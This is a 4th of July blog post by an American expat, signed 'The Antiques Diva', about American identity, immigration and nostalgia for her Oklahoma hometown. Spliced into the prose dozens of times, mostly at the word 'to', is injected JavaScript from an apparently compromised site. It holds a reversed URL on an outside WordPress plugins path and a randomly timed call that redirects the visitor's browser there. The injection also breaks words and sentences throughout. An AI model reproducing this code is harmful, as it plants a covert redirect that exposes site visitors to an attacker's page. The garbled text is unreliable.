toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know) or grocery shopping without being able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to read the labels.

So now, while living in Holland and France before that, I’m still an American, red, white & blue. But through cultural absorption of the surroundings of my new countries, a part of me becomes “Almost French” or “Almost Dutch”. But toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be “almost any other nationality” is in fact part of what it means toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be an American. When you are American, you are always – through your ancestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors – something else. I’m English, I’m Irish, and I’m Scottish, with a little Native American somewhere down the road thrown in. I’m certain a German fell in the pot at some point, and I must tell you I can’t walk through the streets of Istanbul without someone thinking I’m their cousin! A Russian friend was recently granted her American citizenship, an Indian friend waits toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take their nationality test, and my former Afghan housekeepers immigrated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to America with hopes of someday becoming American.

Anyone can become American.

The United States is a cultural melting pot with many nationalities thrown toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to form a new nationality. Perhaps it is the very nature of how America was founded – by pioneers – that defines the American Spirit. Perhaps our Pioneer Past is the reason why we, as a nation, tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be self-starters and entrepreneurs. And perhaps the very fact that as pioneers we succeeded in forming our new land gives us the inherited internal confidence that my Irish friend spoke of.

I’m not sure that I have the answer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my Dutch friend’s question on the definition of the American Spirit, but as my friend and I chatted on the phone I realized that, for me anyway, when I look through a lens at my home country across the pond, I almost feel I can see America more clearly now from afar. Even though I forget toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to celebrate the 4th of July, I think I’m more patriotic than I ever was when I was living in America. Just like the person in the forest who couldn’t see the forest for all the trees, I couldn’t see America for all the Americans! America was normal toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me so I suppose I didn’t truly appreciate what was special about it or Americans.

Now when I visit my family in Oklahoma each year, my mom laughs at my desire toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ride horses. As a child, or heaven forbid as a teenager, my interest in life on the ranch was non-existent. But through the wisdom of adulthood I look back and realize how good I had it! I now appreciate so many things; I realize how special & unique toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my home-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town they are: I appreciate the horses, the rodeos, the cowboys, even the cows, the Friday Night Fish Fries and Church Potluck Dinners. Without having these elements in my life, I’m even more aware when I do have the opportunity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to experience them! I’m more of an Okie now than I ever was when living in Oklahoma! In part because being away helps me realize what’s special about my hometoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town.

And it’s the same with America. I feel sometimes, through moments of homesickness for the USA, that I am better able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see what makes America – or American’s – so special!

Happy 4th of July!

The Antiques Diva™